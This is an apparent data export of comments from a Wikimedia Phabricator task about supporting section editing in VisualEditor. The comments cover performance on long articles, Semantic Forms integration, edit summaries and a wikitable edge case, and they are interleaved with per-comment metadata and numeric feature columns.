Knowing other people want it doesn't hurt, either.",,,1421355867,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,80,,1.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,6.0,0.0,7.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,8.0,3.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,1.0,0.0,4.0,4.0,14.0,3.0,4.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.4444444444444446,0.7777777777777778,"QUOTE
QUOTE

I have been poking around the VE and (recently) Semantic Forms looking for a place where I can dig in.  This may be it.  I can't promise anything, but knowing this is a place that needs work and that some of my users could use it helps.

Knowing other people want it doesn't hurt, either."
400161,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"It's entirely do-able for the developers of SemanticMediaWiki to create a VisualEditor integration for each of the fields in a form. Indeed, it's one of the use-cases we built VisualEditor around. However, it'd be a bunch of work and it's nothing we're planning to do at the Wikimedia Foundation (we don't support Semantic MediaWiki either). So effectively this is a ""no"" for your question.

This task is talking about using VisualEditor to edit parts of a single-content-block page, not a page made up via collections of different pieces of information.",,,1421340191,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,80,,0.5,0.0,0.5,0.0,1.5,2.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,12.5,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,4.5,0.0,2.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,6.5,2.0,9.0,0.0,0.5,8.5,0.0,0.0,0.0,0.0,3.5,1.0,0.5,0.0,4.5,12.5,6.0,0.0,1.5,0.0,4.5,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.9843658679135006,0.7527761542957334,"It's entirely do-able for the developers of SemanticMediaWiki to create a VisualEditor integration for each of the fields in a form. Indeed, it's one of the use-cases we built VisualEditor around. However, it'd be a bunch of work and it's nothing we're planning to do at the Wikimedia Foundation (we don't support Semantic MediaWiki either). So effectively this is a ""no"" for your question.

This task is talking about using VisualEditor to edit parts of a single-content-block page, not a page made up via collections of different pieces of information."
400158,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I've been using Semantic Forms for more than 4 years now. It used to support the FCKEditor extension (and branch SMW+ supported the WYSIWYG extension).
But the decision to stop using FCKEditor going forward was at least related to the promise of a cleaner integration with VisualEditor (Yaron Koren would be able to
comment more accurately on that).  I believe that was decided around 2012.

I'm now with a new company, and I've been tasked with evaluating Atlassian Confluence.  It supports bare pages, but also form-based pages.  The only significant feature it has over
Semantic Mediawiki / Forms installation is WYSIWYG editing.  I can't stick with MW 1.16 / FCKEditor as I did at my previous company, so it looks like we'll to go with 
Confluence... which is a shame to me, since I know how versatile the mediawiki environment is.

It doesn't seem like the work-arounds being considered would support being about do do WYSIWYG editing in a text field or the free text area of a Semantic Form.  
//If that's the case//, it would be nice if this could be marked WONTFIX, and a new issue created that discusses compensating for the lack of an edit section as we
know it in Mediawiki.

Or, it's 2015, the solution is about to be released any day now, and I'll shut up (I can do that last one anyway).",,,1421340016,,PHID-USER-v7p53gf64fwttu5ylooz,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,80,,0.3333333333333333,0.0,0.0,1.6666666666666667,0.6666666666666666,5.666666666666667,1.6666666666666667,0.0,0.0,0.3333333333333333,1.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,4.333333333333333,0.6666666666666666,4.333333333333333,11.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,1.3333333333333333,5.666666666666667,1.6666666666666667,2.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,2.6666666666666665,0.0,1.0,0.0,0.0,0.0,8.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,1.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,6.333333333333333,4.666666666666667,13.0,1.0,2.6666666666666665,8.666666666666666,0.0,0.0,0.0,0.0,5.0,0.0,1.6666666666666667,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,1.0,2.3333333333333335,0.3333333333333333,2.3333333333333335,1.0,0.3333333333333333,0.0,3.8297872340425534,0.7269503546099291,"I've been using Semantic Forms for more than 4 years now. It used to support the FCKEditor extension (and branch SMW+ supported the WYSIWYG extension).
But the decision to stop using FCKEditor going forward was at least related to the promise of a cleaner integration with VisualEditor (Yaron Koren would be able to
comment more accurately on that).  I believe that was decided around 2012.

I'm now with a new company, and I've been tasked with evaluating Atlassian Confluence.  It supports bare pages, but also form-based pages.  The only significant feature it has over
Semantic Mediawiki / Forms installation is WYSIWYG editing.  I can't stick with MW 1.16 / FCKEditor as I did at my previous company, so it looks like we'll to go with 
Confluence... which is a shame to me, since I know how versatile the mediawiki environment is.

It doesn't seem like the work-arounds being considered would support being about do do WYSIWYG editing in a text field or the free text area of a Semantic Form.  
//If that's the case//, it would be nice if this could be marked WONTFIX, and a new issue created that discusses compensating for the lack of an edit section as we
know it in Mediawiki.

Or, it's 2015, the solution is about to be released any day now, and I'll shut up (I can do that last one anyway)."
400155,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I've been using Semantic Forms for more than 4 years now. It used to support the FCKEditor extension (and branch SMW+ supported the WYSIWYG extension).
But the decision to stop using FCKEditor going forward was at least related to the promise of a cleaner integration with VisualEditor (Yaron Koren would be able to
comment more accurately on that).  I believe that was decided around 2012.

I'm now with a new company, and I've been tasked with evaluating Atlassian Confluence.  It supports bare pages, but also form-based pages.  The only significant feature it has over
Semantic Mediawiki / Forms installation is WYSIWYG editing.  I can't stick with MW 1.16 / FCKEditor as I did at my previous company, so it looks like we'll to go with 
Confluence... which is a shame to me, since I know how versatile the mediawiki environment is.

It doesn't seem like the work-arounds being considered would support being about do do WYSIWYG editing in a text field or the free text area of a Semantic Form.  
''If that's the case'', it would be nice if this could be marked WONTFIX, and a new issue created that discusses compensating for the lack of an edit section as we
know it in Mediawiki.

Or, it's 2015, the solution is about to be released any day now, and I'll shut up (I can do that last one anyway).",,,1421339932,,PHID-USER-v7p53gf64fwttu5ylooz,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,80,,0.3333333333333333,0.0,0.0,1.6666666666666667,0.6666666666666666,5.666666666666667,1.6666666666666667,0.0,0.0,0.6666666666666666,1.3333333333333333,3.0,0.0,0.3333333333333333,0.0,4.333333333333333,0.6666666666666666,4.333333333333333,11.333333333333334,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,1.3333333333333333,5.666666666666667,1.6666666666666667,2.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,2.6666666666666665,0.0,1.0,0.0,0.0,0.0,8.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,1.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,6.333333333333333,4.666666666666667,13.333333333333334,1.3333333333333333,2.6666666666666665,8.666666666666666,0.0,0.0,0.0,0.0,5.0,0.0,1.6666666666666667,0.0,7.0,11.333333333333334,7.0,0.0,0.0,0.0,7.0,0.0,1.0,2.3333333333333335,0.3333333333333333,2.3333333333333335,1.0,0.3333333333333333,0.0,3.8010451661067557,0.7288540500186637,"I've been using Semantic Forms for more than 4 years now. It used to support the FCKEditor extension (and branch SMW+ supported the WYSIWYG extension).
But the decision to stop using FCKEditor going forward was at least related to the promise of a cleaner integration with VisualEditor (Yaron Koren would be able to
comment more accurately on that).  I believe that was decided around 2012.

I'm now with a new company, and I've been tasked with evaluating Atlassian Confluence.  It supports bare pages, but also form-based pages.  The only significant feature it has over
Semantic Mediawiki / Forms installation is WYSIWYG editing.  I can't stick with MW 1.16 / FCKEditor as I did at my previous company, so it looks like we'll to go with 
Confluence... which is a shame to me, since I know how versatile the mediawiki environment is.

It doesn't seem like the work-arounds being considered would support being about do do WYSIWYG editing in a text field or the free text area of a Semantic Form.  
''If that's the case'', it would be nice if this could be marked WONTFIX, and a new issue created that discusses compensating for the lack of an edit section as we
know it in Mediawiki.

Or, it's 2015, the solution is about to be released any day now, and I'll shut up (I can do that last one anyway)."
223285,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to Tim Starling from comment #49)
> > * Editing by section blocks users from editing other areas at the same time
> > that the notice flaws in after they've entered editing, for very limited
> > added-value.
> 
> For large articles, I think the added value would be very large indeed.
> People don't want to wait tens of seconds to make a small correction, and
> it's likely that VE performance causes many edits to be abandoned.
> 
> Perhaps there are other solutions for the performance issue, but it seems to
> me that this is a fairly obvious approach, especially for bandwidth
> reduction.

For what it's worth...

I did a non-scientific poll and asked the Hebrew Wikipedia community what are the people's reasons to avoid VE. Precisely this suggestion came up several times.",,,1408623631,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,59,,1.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,28.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,8.0,18.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.611111111111111,0.6388888888888888,"(In reply to Tim Starling from comment #49)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

For what it's worth...

I did a non-scientific poll and asked the Hebrew Wikipedia community what are the people's reasons to avoid VE. Precisely this suggestion came up several times."
223276,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"No, it definitely shouldn't be a preference – instead, it should be possible for everyone to ""expand"" the editing area from the one section to the entire article.",,,1404067177,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,51,,0.0,3.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9705882352941178,0.7647058823529411,"No, it definitely shouldn't be a preference – instead, it should be possible for everyone to ""expand"" the editing area from the one section to the entire article."
223269,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Another thought on the preference: currently clicking on a section edit gives a pre-filled edit summary including the section.  Whether this happens should depend on the same preference.  If I have ""section-editing"" set to yes, I would get the pre-filled edit summary and other sections hidden; if I have it set to no, I would get no pre-filled edit summary, and I would see the whole article, as happens now.  This would help avoid the (common) situation where the edit summary is misleading when a section edit is clicked.",,,1403957632,,PHID-USER-ufjbf3qatjamiwoal5fp,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,1.0,0.0,9.5,1.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,3.5,0.0,3.0,5.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,5.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,10.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.5,2.0,6.0,3.5,1.5,9.5,0.0,0.0,0.0,0.0,4.5,1.5,0.0,0.0,4.5,5.5,0.0,0.0,1.0,0.0,4.5,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.824561403508772,0.7017543859649122,"Another thought on the preference: currently clicking on a section edit gives a pre-filled edit summary including the section.  Whether this happens should depend on the same preference.  If I have ""section-editing"" set to yes, I would get the pre-filled edit summary and other sections hidden; if I have it set to no, I would get no pre-filled edit summary, and I would see the whole article, as happens now.  This would help avoid the (common) situation where the edit summary is misleading when a section edit is clicked."
223263,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Re comment 52: I agree that show/hide would be nice for the uneditable sections.

More importantly, if this behaviour is implemented, please make it a preference option.  I often use ""edit beta"" on one section in order to fix a problem I see in the section just above it; I'd hate to lose that capability.",,,1403956163,,PHID-USER-ufjbf3qatjamiwoal5fp,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,1.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,0.0,9.0,14.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.652173913043478,0.7971014492753623,"Re comment 52: I agree that show/hide would be nice for the uneditable sections.

More importantly, if this behaviour is implemented, please make it a preference option.  I often use ""edit beta"" on one section in order to fix a problem I see in the section just above it; I'd hate to lose that capability."
223257,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Mike Christie has a suggestion:  Edit the whole page, but only display the chosen section.  

By this I don't think he means ""discard"" everything except the section, but instead just to cover up the other parts.  We're already scrolling to the chosen section, so this would add maybe a gray or white block over everything above that (or perhaps collapse it), and ideally everything below it, too.  

This would help people who are using section editing to keep them focused on their chosen tasks, rather than because of beliefs about performance or edit conflicts.",,,1403929593,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,51,,0.0,2.5,0.0,0.0,0.5,4.0,0.0,1.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,1.0,0.0,7.0,11.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,3.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,2.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,4.0,1.0,4.0,2.0,4.5,6.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.0,11.0,1.0,0.0,1.0,0.0,5.0,0.0,1.0,1.5,1.0,2.5,0.0,0.0,0.0,4.097852389594676,0.8005142165759226,"Mike Christie has a suggestion:  Edit the whole page, but only display the chosen section.  

By this I don't think he means ""discard"" everything except the section, but instead just to cover up the other parts.  We're already scrolling to the chosen section, so this would add maybe a gray or white block over everything above that (or perhaps collapse it), and ideally everything below it, too.  

This would help people who are using section editing to keep them focused on their chosen tasks, rather than because of beliefs about performance or edit conflicts."
223249,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Comment 46 ignored comment 44, hence making the priority value reflect reality again. If there are further good arguments to give this higher priority, feel free to convince the *developers* to set a higher priority again.",,,1394027896,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,35,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,10.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,4.4523809523809526,0.7619047619047619,"Comment 46 ignored comment 44, hence making the priority value reflect reality again. If there are further good arguments to give this higher priority, feel free to convince the *developers* to set a higher priority again."
223242,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #49)
> 
> Yes, the existing feature prevents users from editing other sections on the
> page, which sucks. That could presumably be addressed in VE: a separate
> content-editable region could be created by each section edit click, to be
> saved in bulk.


i agree with Tim's comment wholeheartedly, except the last paragraph: preventing the user from editing outside the section doesn't ""suck"". it's a great feature.

when editing a section, we have automatically generated edit summary with the section name. for users that use wikitext editor, you pretty much know, when you see the very common ""/* section name */ optional comment"" edit summary, that the edit is indeed confined to the section whose name appears in the comment.

but with VE, because of the wrong (IMHO) way bug 50872 was handled, a user can press the ""sectionedit"" link of some section, then edit anywhere on the page, and the summary will still show the section name of the click. this makes the summary practically useless: when looking at the history, seeing a section name in the summary tells me nothing - i don't care which button Joe pressed, i care which content was changed, and the summary does not tell me that anymore.[1]


since the most urgent issue ATM for VE is unacceptable performance on longer articles with slower machines, true section edit would be (as Tim notes) a very very desirable feature. 

how about this: i think that the cases where a section is not balanced, in terms of html tags (the case described in comment 2) is very rare. how about falling back to full article edit in those rare cases? [2]
true, it means that those cases would be even slower, but i believe that those are a negligible minority. the vast majority of the sections *are* balanced, and will gain greatly (performance wise) from the ability to edit a single section.


peace.

---------------------------------------------

[1] this can be handled by undoing the solution for bug 50872, and solving bug 51903 instead (i.e., create the summary by analyzing the diff instead of the button the user clicked), but the best thing, IMO, would be to support true ""section edit"" for VE.


[2] this means: get the section content from the server, and if it ""does not make sense"", like the example in comment #2, get and edit the whole page.",,,1375911862,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,5,,0.4,0.0,1.0,1.0,1.0,4.6,1.0,0.2,0.0,0.2,2.2,0.4,0.0,0.2,0.0,1.6,0.2,6.4,9.8,0.2,0.6,0.0,0.2,0.0,1.0,0.2,0.0,0.2,0.4,1.0,0.0,4.8,2.0,0.6,1.6,0.4,0.2,0.0,0.0,0.2,0.0,0.0,0.0,4.6,0.2,0.0,0.0,0.2,0.8,12.6,1.0,0.6,0.0,0.2,0.0,0.0,0.0,0.2,1.0,0.4,0.2,1.4,0.0,0.0,0.4,0.2,0.0,8.6,2.4,3.0,3.0,1.8,10.8,0.0,0.0,0.0,0.4,4.2,0.0,1.8,0.0,2.6,9.8,3.0,0.2,2.0,0.0,2.6,0.0,2.0,1.6,0.4,1.8,0.6,0.4,1.2,3.8532489249880557,0.7025561395126612,"(In reply to comment #49)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


i agree with Tim's comment wholeheartedly, except the last paragraph: preventing the user from editing outside the section doesn't ""suck"". it's a great feature.

when editing a section, we have automatically generated edit summary with the section name. for users that use wikitext editor, you pretty much know, when you see the very common ""/* section name */ optional comment"" edit summary, that the edit is indeed confined to the section whose name appears in the comment.

but with VE, because of the wrong (IMHO) way bug 50872 was handled, a user can press the ""sectionedit"" link of some section, then edit anywhere on the page, and the summary will still show the section name of the click. this makes the summary practically useless: when looking at the history, seeing a section name in the summary tells me nothing - i don't care which button Joe pressed, i care which content was changed, and the summary does not tell me that anymore.[1]


since the most urgent issue ATM for VE is unacceptable performance on longer articles with slower machines, true section edit would be (as Tim notes) a very very desirable feature. 

how about this: i think that the cases where a section is not balanced, in terms of html tags (the case described in comment 2) is very rare. how about falling back to full article edit in those rare cases? [2]
true, it means that those cases would be even slower, but i believe that those are a negligible minority. the vast majority of the sections *are* balanced, and will gain greatly (performance wise) from the ability to edit a single section.


peace.

---------------------------------------------

[1] this can be handled by undoing the solution for bug 50872, and solving bug 51903 instead (i.e., create the summary by analyzing the diff instead of the button the user clicked), but the best thing, IMO, would be to support true ""section edit"" for VE.


[2] this means: get the section content from the server, and if it ""does not make sense"", like the example in comment #2, get and edit the whole page."
223237,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #2)
> {|
> ! Foo !! Bar
> |-
> === Section 1 ===
> |-
> | Foo || bar
> === Section 2 ===
> |-
> | Foo || bar
> |}
> 
> Coming up with a solution to this is would be a significant piece of
> engineering effort for marginal utility.

The section editing feature in the old parser works by excluding all sections headings where the heading is not a child of the document root. The previous section thus runs on past the excluded heading. This means that a section can always be represented as a set of adjacent DOM subtrees. It seems to me that the same solution could be implemented in VE. 

The definition of ""children of the document root"" would change somewhat, since it is a different kind of DOM, so the number of excluded sections would be larger, but it would still be a better solution than what we have now.

> * The reasons we brought in section-editing originally were two-fold - to
> skip
> past confusing wikitext in other areas to find the item you actually wanted
> to
> edit (not an issue in the context of VisualEditor), and to avoid edit
> conflicts
> using the page-based diffs at the time (not an issue for ~ 7 years since Tim
> re-wrote the diff tool).

Section editing has never had any special case to help with edit conflicts -- it was always dealt with using the generic three-way merge feature, which, for the record, I did not write.

I think the main two reasons for implementing section editing were bandwidth and avoiding the need to scroll. Erik's original post on the subject suggests as much:

http://article.gmane.org/gmane.science.linguistics.wikipedia.technical/3433

Note that it was implemented at a time when 56k modems were still common -- I had one at the time, and I was certainly glad of the performance improvement.

> * Editing by section blocks users from editing other areas at the same time
> that the notice flaws in after they've entered editing, for very limited
> added-value.

For large articles, I think the added value would be very large indeed. People don't want to wait tens of seconds to make a small correction, and it's likely that VE performance causes many edits to be abandoned.

Perhaps there are other solutions for the performance issue, but it seems to me that this is a fairly obvious approach, especially for bandwidth reduction.

Yes, the existing feature prevents users from editing other sections on the page, which sucks. That could presumably be addressed in VE: a separate content-editable region could be created by each section edit click, to be saved in bulk.",,,1375745889,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,5,,1.0,0.0,0.2,1.8,0.6,5.6,1.8,0.0,0.0,0.0,1.6,0.2,0.0,0.2,0.2,1.6,0.2,4.6,9.6,0.0,1.4,0.0,0.2,0.0,1.4,0.0,0.0,0.0,0.8,0.8,0.2,4.6,1.0,1.4,1.0,0.0,0.4,0.4,0.2,0.2,0.0,0.0,0.2,3.8,0.2,0.4,0.0,0.0,0.4,11.4,0.6,0.4,0.0,0.0,0.2,0.0,0.2,0.2,0.4,0.0,0.0,1.4,0.0,0.2,0.4,0.0,0.0,6.2,4.0,10.0,1.6,1.0,8.0,0.0,0.0,0.0,0.2,3.6,0.2,0.8,0.0,3.0,9.6,5.0,0.0,0.4,0.0,3.0,0.0,1.0,1.8,0.4,1.4,0.4,0.0,0.0,3.950401234567901,0.6960185185185184,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The section editing feature in the old parser works by excluding all sections headings where the heading is not a child of the document root. The previous section thus runs on past the excluded heading. This means that a section can always be represented as a set of adjacent DOM subtrees. It seems to me that the same solution could be implemented in VE. 

The definition of ""children of the document root"" would change somewhat, since it is a different kind of DOM, so the number of excluded sections would be larger, but it would still be a better solution than what we have now.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Section editing has never had any special case to help with edit conflicts -- it was always dealt with using the generic three-way merge feature, which, for the record, I did not write.

I think the main two reasons for implementing section editing were bandwidth and avoiding the need to scroll. Erik's original post on the subject suggests as much:

URL

Note that it was implemented at a time when 56k modems were still common -- I had one at the time, and I was certainly glad of the performance improvement.

QUOTE
QUOTE
QUOTE

For large articles, I think the added value would be very large indeed. People don't want to wait tens of seconds to make a small correction, and it's likely that VE performance causes many edits to be abandoned.

Perhaps there are other solutions for the performance issue, but it seems to me that this is a fairly obvious approach, especially for bandwidth reduction.

Yes, the existing feature prevents users from editing other sections on the page, which sucks. That could presumably be addressed in VE: a separate content-editable region could be created by each section edit click, to be saved in bulk."
223231,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"james, we tried your sections within a table example from above here:
https://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor/Known_problems#section_in_a_table
and we could not create something useful.",,,1375590809,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.92,0.92,"james, we tried your sections within a table example from above here:
URL
and we could not create something useful."
223227,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"note blocks section edit

**Attached**: {F10744}",,,1375517586,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.7857142857142857,"note blocks section edit

**Attached**: {F10744}"
223223,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"upgrading this to ""highest"" as this is the main reason for item 1 (slow loading), item 2 (slow scrolling) and item 6 (no section editing) of https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Known_problems. personally i think this should be _the only_ ""immediate"". why?

i tried it at https://en.wikipedia.org/wiki/Jos%C3%A9_Mourinho.
* 1 click and 15 secs to edit
* 1 click to make go a away a note (see attachment)
* 1 click to edit summary
* 1 click and 20 secs to review changes
* 1 click to return to save form
* 1 click and 40 secs to save
* 5* pg down to go to the section just edited

section edit with the text editor takes:
* 1 click and 2 secs to open
* 1 click and 2 secs to preview
* 1 pg-down to find the save button
